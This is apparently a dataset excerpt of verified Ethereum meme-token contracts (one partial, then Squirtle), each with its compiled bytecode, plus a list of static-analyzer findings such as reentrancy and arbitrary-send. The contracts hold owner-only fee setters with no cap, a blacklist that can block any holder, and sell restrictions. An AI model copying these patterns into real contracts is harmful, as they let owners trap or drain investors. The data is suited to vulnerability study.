firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 6000000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d3578063c9567bf9146102e8578063d543dbeb146102fd578063dd62ed3e1461031d578063e8078d941461036357600080fd5b8063715018a6146102475780638da5cb5b1461025c57806395d89b4114610284578063a9059cbb146102b357600080fd5b8063313ce567116100d1578063313ce567146101d45780635932ead1146101f05780636fc3eaec1461021257806370a082311461022757600080fd5b806306fdde031461010e578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601481527350616b6b756e205368696e6f6269277320496e7560601b60208201525b6040516101549190611b34565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611a8c565b610378565b6040519015158152602001610154565b34801561019957600080fd5b5069d3c21bcecceda10000005b604051908152602001610154565b3480156101c057600080fd5b5061017d6101cf366004611a4c565b61038f565b3480156101e057600080fd5b5060405160098152602001610154565b3480156101fc57600080fd5b5061021061020b366004611ab7565b6103f8565b005b34801561021e57600080fd5b50610210610449565b34801561023357600080fd5b506101a66102423660046119dc565b610476565b34801561025357600080fd5b50610210610498565b34801561026857600080fd5b506000546040516001600160a01b039091168152602001610154565b34801561029057600080fd5b506040805180820190915260068152652820a5a5aaa760d11b6020820152610147565b3480156102bf57600080fd5b5061017d6102ce366004611a8c565b61050c565b3480156102df57600080fd5b50610210610519565b3480156102f457600080fd5b5061021061054f565b34801561030957600080fd5b50610210610318366004611aef565b6105a4565b34801561032957600080fd5b506101a6610338366004611a14565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036f57600080fd5b50610210610678565b60006103853384846109e8565b5060015b92915050565b600061039c848484610b0c565b6103ee84336103e985604051806060016040528060288152602001611cef602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061122b565b6109e8565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b815260040161042290611b87565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046957600080fd5b4761047381611265565b50565b6001600160a01b038116600090815260026020526040812054610389906112ea565b6000546001600160a01b031633146104c25760405162461bcd60e51b815260040161042290611b87565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610b0c565b600f546001600160a01b0316336001600160a01b03161461053957600080fd5b600061054430610476565b90506104738161136e565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161042290611b87565b601254600160a81b900460ff1661058f57600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161042290611b87565b6000811161061e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610422565b61063d606461063769d3c21bcecceda100000084611513565b90611592565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161042290611b87565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e0308269d3c21bcecceda10000006109e8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071957600080fd5b505afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075191906119f8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079957600080fd5b505afa1580156107ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d191906119f8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081957600080fd5b505af115801561082d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085191906119f8565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061088181610476565b6000806108966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f957600080fd5b505af115801561090d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109329190611b07565b50506012805463ffff00ff60a81b198116630101000160a81b1790915569014542ba12a337c0000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ac57600080fd5b505af11580156109c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e49190611ad3565b5050565b6001600160a01b038316610a4a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610422565b6001600160a01b038216610aab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610422565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610422565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610422565b60008111610c345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610422565b6000546001600160a01b03848116911614801590610c6057506000546001600160a01b03838116911614155b156111ce57601254600160c01b900460ff1615610d47576001600160a01b0383163014801590610c9957506001600160a01b0382163014155b8015610cb357506011546001600160a01b03848116911614155b8015610ccd57506011546001600160a01b03838116911614155b15610d47576011546001600160a01b0316336001600160a01b03161480610d0757506012546001600160a01b0316336001600160a01b0316145b610d475760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610422565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d8957506001600160a01b0382166000908152600a602052604090205460ff16155b610d9257600080fd5b6012546001600160a01b038481169116148015610dbd57506011546001600160a01b03838116911614155b8015610de257506001600160a01b03821660009081526005602052604090205460ff16155b8015610df75750601254600160c01b900460ff165b15610e7457601254600160a01b900460ff16610e1257600080fd5b601354811115610e2157600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e4557600080fd5b610e5042601e611c2c565b6001600160a01b0383166000908152600b6020526040902055600560095560026008555b6000610e7f30610476565b601254909150600160b01b900460ff16158015610eaa57506012546001600160a01b03858116911614155b8015610ebf5750601254600160b81b900460ff165b156111cc57601254610eed9060649061063790600390610ee7906001600160a01b0316610476565b90611513565b8211158015610efe57506013548211155b610f0757600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2b57600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f539062015180611c2c565b1015610f73576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054611000576001600160a01b0384166000908152600e60205260408120805491610fb483611c9a565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fe290610e10611c2c565b6001600160a01b0385166000908152600c602052604090205561118f565b6001600160a01b0384166000908152600e602052604090205460011415611057576001600160a01b0384166000908152600e6020526040812080549161104583611c9a565b90915550610fe2905042611c20611c2c565b6001600160a01b0384166000908152600e6020526040902054600214156110ae576001600160a01b0384166000908152600e6020526040812080549161109c83611c9a565b90915550610fe2905042615460611c2c565b6001600160a01b0384166000908152600e602052604090205460031415611105576001600160a01b0384166000908152600e602052604081208054916110f383611c9a565b90915550610fe290504261a8c0611c2c565b6001600160a01b0384166000908152600e60205260409020546004141561118f576001600160a01b0384166000908152600e6020526040812080549161114a83611c9a565b90915550506001600160a01b0384166000908152600d60205260409020546111759062015180611c2c565b6001600160a01b0385166000908152600c60205260409020555b6111988161136e565b4780156111a8576111a847611265565b6001600160a01b0385166000908152600e60205260409020546111ca906115d4565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061121057506001600160a01b03831660009081526005602052604090205460ff165b15611219575060005b611225848484846115f6565b50505050565b6000818484111561124f5760405162461bcd60e51b81526004016104229190611b34565b50600061125c8486611c83565b95945050505050565b600f546001600160a01b03166108fc61127f836002611592565b6040518115909202916000818181858888f193505050501580156112a7573d6000803e3d6000fd5b506010546001600160a01b03166108fc6112c2836002611592565b6040518115909202916000818181858888f193505050501580156109e4573d6000803e3d6000fd5b60006006548211156113515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610422565b600061135b611622565b90506113678382611592565b9392505050565b6012805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141857600080fd5b505afa15801561142c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145091906119f8565b8160018151811061147157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115461149791309116846109e8565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d0908590600090869030904290600401611bbc565b600060405180830381600087803b1580156114ea57600080fd5b505af11580156114fe573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261152257506000610389565b600061152e8385611c64565b90508261153b8583611c44565b146113675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610422565b600061136783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611645565b806008546115e29190611c64565b600855600181111561047357600a60095550565b8061160357611603611673565b61160e848484611696565b806112255761122560076008556005600955565b600080600061162f61178d565b909250905061163e8282611592565b9250505090565b600081836116665760405162461bcd60e51b81526004016104229190611b34565b50600061125c8486611c44565b6008541580156116835750600954155b1561168a57565b60006008819055600955565b6000806000806000806116a8876117d1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116da908761182e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117099086611870565b6001600160a01b03891660009081526002602052604090205561172b816118cf565b6117358483611919565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177a91815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda10000006117aa8282611592565b8210156117c85750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008060008060008060008060006117ee8a60085460095461193d565b92509250925060006117fe611622565b905060008060006118118e87878761198c565b919e509c509a509598509396509194505050505091939550919395565b600061136783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b60008061187d8385611c2c565b9050838110156113675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610422565b60006118d9611622565b905060006118e78383611513565b306000908152600260205260409020549091506119049082611870565b30600090815260026020526040902055505050565b600654611926908361182e565b6006556007546119369082611870565b6007555050565b600080808061195160646106378989611513565b9050600061196460646106378a89611513565b9050600061197c826119768b8661182e565b9061182e565b9992985090965090945050505050565b600080808061199b8886611513565b905060006119a98887611513565b905060006119b78888611513565b905060006119c982611976868661182e565b939b939a50919850919650505050505050565b6000602082840312156119ed578081fd5b813561136781611ccb565b600060208284031215611a09578081fd5b815161136781611ccb565b60008060408385031215611a26578081fd5b8235611a3181611ccb565b91506020830135611a4181611ccb565b809150509250929050565b600080600060608486031215611a60578081fd5b8335611a6b81611ccb565b92506020840135611a7b81611ccb565b929592945050506040919091013590565b60008060408385031215611a9e578182fd5b8235611aa981611ccb565b946020939093013593505050565b600060208284031215611ac8578081fd5b813561136781611ce0565b600060208284031215611ae4578081fd5b815161136781611ce0565b600060208284031215611b00578081fd5b5035919050565b600080600060608486031215611b1b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b6057858101830151858201604001528201611b44565b81811115611b715783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c0b5784516001600160a01b031683529383019391830191600101611be6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c3f57611c3f611cb5565b500190565b600082611c5f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c7e57611c7e611cb5565b500290565b600082821015611c9557611c95611cb5565b500390565b6000600019821415611cae57611cae611cb5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058069dc805bf85b16bb5e01a49807e5aaaa746c4e7b7479c71f2a8b60af4969564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,560
0x51ec5e309cfe24e5811db4215a6e9c1592bb87e2
/** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* Find us here https://t.me/squirtletoken https://www.squirtletoken.com/ https://twitter.com/Squirtle_token Squirtle is yet another meme token in this saturated meme token atmosphere. It's a tough world out here full of dogs and cash grabbing schmemes. Our team came to the unanimous decision to create another decentralized ERC-20 Meme Toklen of a different kind, a water type kind... A... POKEMON! We choose Squirtle so that we could create our own Squirtle Squad of like minded individuals to come together and put out this dumpster fire that is the "Meme Token World". It's time to come out of your shell and grab your shades. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. Transaction Limit on launch 6. Buy limit will be lifted after launch 7. Sell cooldown 8. 7% redistribution to holders on all buys 9. 7-8% Developement/Team Fee // SPDX-License-Identifier: MIT */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SQUIRTLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Squirtle"; string private constant _symbol = '$quirtle'; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddress, address payable marketingWalletAddress) { _FeeAddress = feeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getTokenRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setTaxFee(uint256 fee) external onlyOwner() { _taxFee = fee; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { payable(_FeeAddress).transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already enabled / opened"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2.125e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getTokenRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getTokenRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getTokenRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Max. Tx Percent must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c4081a4c11610064578063c4081a4c146103ba578063c9567bf9146103e3578063d543dbeb146103fa578063dd62ed3e14610423578063e6ec64ec146104605761012a565b80638da5cb5b146102e757806395d89b4114610312578063a9059cbb1461033d578063b515566a1461037a578063c3c8cd80146103a35761012a565b8063313ce567116100e7578063313ce567146102285780635932ead1146102535780636fc3eaec1461027c57806370a0823114610293578063715018a6146102d05761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063273123b7146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b6040516101519190612e47565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061298d565b6104c6565b60405161018e9190612e2c565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b99190612fc9565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061293e565b6104f5565b6040516101f69190612e2c565b60405180910390f35b34801561020b57600080fd5b50610226600480360381019061022191906128b0565b6105ce565b005b34801561023457600080fd5b5061023d6106be565b60405161024a919061303e565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a0a565b6106c7565b005b34801561028857600080fd5b50610291610779565b005b34801561029f57600080fd5b5061